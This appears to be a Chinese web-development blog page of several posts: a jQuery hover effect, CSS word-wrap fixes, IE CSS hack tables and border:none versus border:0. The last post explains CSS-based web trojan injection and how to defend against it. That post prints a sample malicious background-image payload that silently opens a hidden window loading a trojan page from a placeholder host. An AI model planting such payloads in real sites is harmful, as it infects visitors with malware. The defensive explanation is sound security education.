博客

  • jquery 鼠标经过显示新闻缩略图列表及新闻标题摘要效果

    jquery 鼠标经过显示新闻缩略图列表及新闻标题摘要效果,如图:

     

    效果rar下载

  • 解决长串英文字母显示不能自动换行的问题和td中汉字自动换行 && CSS强制不换行

    例如:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa不能处理自动换行,将表格伸的很长很长,而汉字字符却可以自动换行。
    原因是:
    英文字母之间如果没有空格,系统认为是一个单词,就不会自动换行。汉字就没有这种情况。
    解决办法:
    用表格把要显示的内容装起来。
    在<table>标签中加入“style=’TABLE-LAYOUT: fixed’”,
    在需要强制单词换行的<td>标签中加入“style=’word-WRAP: break-word’”。
    这样就可以了。
    Div 中 :
    div 实现长英文字母自动换行CSS
    IE浏览器
    #wrap{white-space:normal; width:200px; }
    或者
    #wrap{word-break:break-all;width:200px;}

    Firefox浏览器
    #wrap{white-space:normal; width:200px; overflow:auto;}
    或者
    #wrap{word-break:break-all;width:200px; overflow:auto; }
    2、不设置单元格宽度,但汉字会自动换行:
    解决方法: <table style=’word-break:keep-all’>
    CSS强制不换行
    word-break属性, keep-all;不换行。。 IE7和FF , IE6 不行。。
    white-space: nowrap; IE6 及一下版本
    顺便写下语法:

    语法:
    white-space : normal | pre | nowrap
    取值:
    normal : 默认值。默认处理方式。文本自动处理换行。假如抵达容器边界内容会转到下一行
    pre : 换行和其他空白字符都将受到保护。这个值需要IE6+或者 !DOCTYPE 声明为 standards-compliant mode 支持。如果 !DOCTYPE 声明没有指定为 standards-compliant mode ,此属性可以使用,但是不会发生作用。结果等同于 normal 。参阅 pre 对象
    nowrap : 强制在同一行内显示所有文本,直到文本结束或者遭遇 br 对象。参阅 noWrap 属性

    说明:
    设置或检索对象内空格字符的处理方式。
    空格字符,像换行,空格,TAB,在HTML文档中默认的是被忽略的。当此属性设置为 normal 或者 nowrap 时,你可以使用不换行空格的命名实体 来添加空格,用 br 元素来添加换行。此属性对你使用文档对象模型(DOM)操作的内容的影响与其对IE显示内容的影响一样。
    此属性作用于块对象。
    此属性对于 currentStyle 对象而言是只读的。对于其他对象而言是可读写的。
    对应的脚本特性为 whiteSpace 。

  • IE浏览器CSS Hack 汇总快查

    屏蔽IE浏览器(也就是IE下不显示)
    *:lang(zh) select {font:12px  !important;} /*FF,OP可见,特别提醒:由于Opera最近的升级,目前此句只为FF所识别*/
    select:empty {font:12px  !important;} /*safari可见*/
    这里select是选择符,根据情况更换。第二句是MAC上safari浏览器独有的。
    仅IE7与IE5.0可以识别
    *+html  select {}
    当面临需要只针对IE7与IE5.0做样式的时候就可以采用这个HACK。
    仅IE7可以识别
    *+html  select {…!important;}
    当面临需要只针对IE7做样式的时候就可以采用这个HACK。
    IE6及IE6以下识别
    * html  select {}
    这个地方要特别注意很多博客都写成了是IE6的HACK其实IE5.x同样可以识别这个HACK。其它浏览器不识别。
    html/**/ >body  select {}
    这句与上一句的作用相同。
    仅IE6不识别,屏蔽IE6
    select { display /*屏蔽IE6*/:none;}
    这里主要是通过CSS注释分开一个属性与值,注释在冒号前。
    仅IE6与IE5不识别,屏蔽IE6与IE5
    select/**/ { display /*IE6,IE5不识别*/:none;}
    这里与上面一句不同的是在选择符与花括号之间多了一个CSS注释。不屏蔽IE5.5
    仅IE5不识别,屏蔽IE5
    select/*IE5不识别*/ {}
    这一句是在上一句中去掉了属性区的注释。只有IE5不识别,IE5.5可以识别。
    盒模型解决方法
    selct {width:IE5.x宽度; voice-family :”\”}\””; voice-family:inherit; width:正确宽度;}
    盒模型的清除方法不是通过!important来处理的。这点要明确。
    清除浮动
    select:after {content:”.”; display:block; height:0; clear:both; visibility:hidden;}
    在Firefox中,当子级都为浮动时,那么父级的高度就无法完全的包住整个子级,那么这时用这个清除浮动的HACK来对父级做一次定义,那么就可以解决这个问题。
    截字省略号
    select { -o-text-overflow:ellipsis; text-overflow:ellipsis; white-space:nowrap; overflow:hidden; }
    这个是在越出长度后会自行的截掉多出部分的文字,并以省略号结尾,很好的一个技术。只是目前Firefox并不支持。
    只有Opera识别
    @media all and (min-width: 0px){ select {……} }
    针对Opera浏览器做单独的设定。

    以上都是写CSS中的一些HACK,这些都是用来解决局部的兼容性问题,如果希望把兼容性的内容也分离出来,不妨试一下下面的几种过滤器。这些过滤器有的是写在CSS中通过过滤器导入特别的样式,也有的是写在HTML中的通过条件来链接或是导入需要的补丁样式。

    IE5.x的过滤器,只有IE5.x可见
    @media tty {
    i{content:”\”;/*” “*/}} @import ”ie5win.css”; /*”;}
    }/* */
    IE5/MAC的过滤器,一般用不着
    /*\*//*/
    @import “ie5mac.css“;
    /**/
    IE的if条件Hack
    Only IE
    所有的IE可识别

    只有IE5.0可以识别
    Only IE 5.0+
    IE5.0包换IE5.5都可以识别

    仅IE6可识别
    Only IE 6/+
    IE6以及IE6以下的IE5.x都可识别
    Only IE 7/-
    仅IE7可识别

    以上内容可能并不全面,欢迎大家能和我一起把这些技巧都汇总起来,为以后工作的查询提供一个方便,同时在这里感谢那些研究出这些HACK的作者们。

  • border:none;与border:0;的区别

    这问题在网络相信已经有不少人问到,最近再次被牵起讨论,籍此记录一下个人的理解,border:none;与border:0;的区别体现有两点:一是理论上的性能差异二是浏览器兼容性的差异。

     

    1.性能差异
    【border:0;】把border设为“0”像素虽然在页面上看不见,但按border默认值理解,浏览器依然对border-width/border-color进行了渲染,即已经占用了内存值。
    【border:none;】把border设为“none”即没有,浏览器解析“none”时将不作出渲染动作,即不会消耗内存值。

    2.兼容性差异
    兼容性差异只针对浏览器IE6、IE7与标签button、input而言,在win、win7、vista 的XP主题下均会出现此情况。

    【border:none;】当border为“none”时似乎对IE6/7无效边框依然存在,如下例
    Demo1

    【border:0;】当border为“0”时,感觉比“none”更有效,所有浏览器都一致把边框隐藏
    Demo2

    总结:
    1. 对比border:0;与border:none;之间的区别在于有渲染和没渲染,感觉他们和display:none;与visibility:hidden;的关系类似,而对于border属性的渲染性能对比暂时没找测试的方法,虽然认为他们存在渲染性能上的差异但也只能说是理论上。

    2. 如何让border:none;实现全兼容?只需要在同一选择符上添加背景属性即可
    demo3

    对于border:0;与border:none;个人更向于使用,border:none;,因为border:none;毕竟在性能消耗没有争议,而且兼容性可用背景属性解决不足以成为障碍。

  • 了解CSS挂马及相应防范方法

    随着Web2.0的普及,各种网页特效用得越来越多,这也给黑客一个可乘之机。他们发现,用来制作网页特效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式其实是从防范E挂马的CSS代码演变而来。

    网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。

    建议大家在点击陌生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好还是使用一些带网页木马拦截功能的安全辅助工具。

    黑客为什么选择CSS挂马?

    在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的隐藏,倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很容易被识破,还不如E来得直接和有效。

    但如今交互式的Web2.0网站越来越多,允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。

    小百科:

    CSS是层叠样式表(CascadingStyleSheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。

    黑客在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。

    CSS挂马攻防实录

    攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。

    方式1:

    Body

    “background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马悄悄地在用户的电脑中运行。

    那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。

    小百科:

    使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,如同使用DIV对象那样精确地设置大小。

    方式2:

    Body

    [code]background-image: url(t:open(“http://www.X.com/muma.htm”,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))[/code]

    方式1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在方式2中的这段代码,使用了t的Open开窗,通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。

    防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,进行排查。

    目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示:

    [code]emiao1:expression(this.src=”about:blank”,this.outerHTML=””);[/code]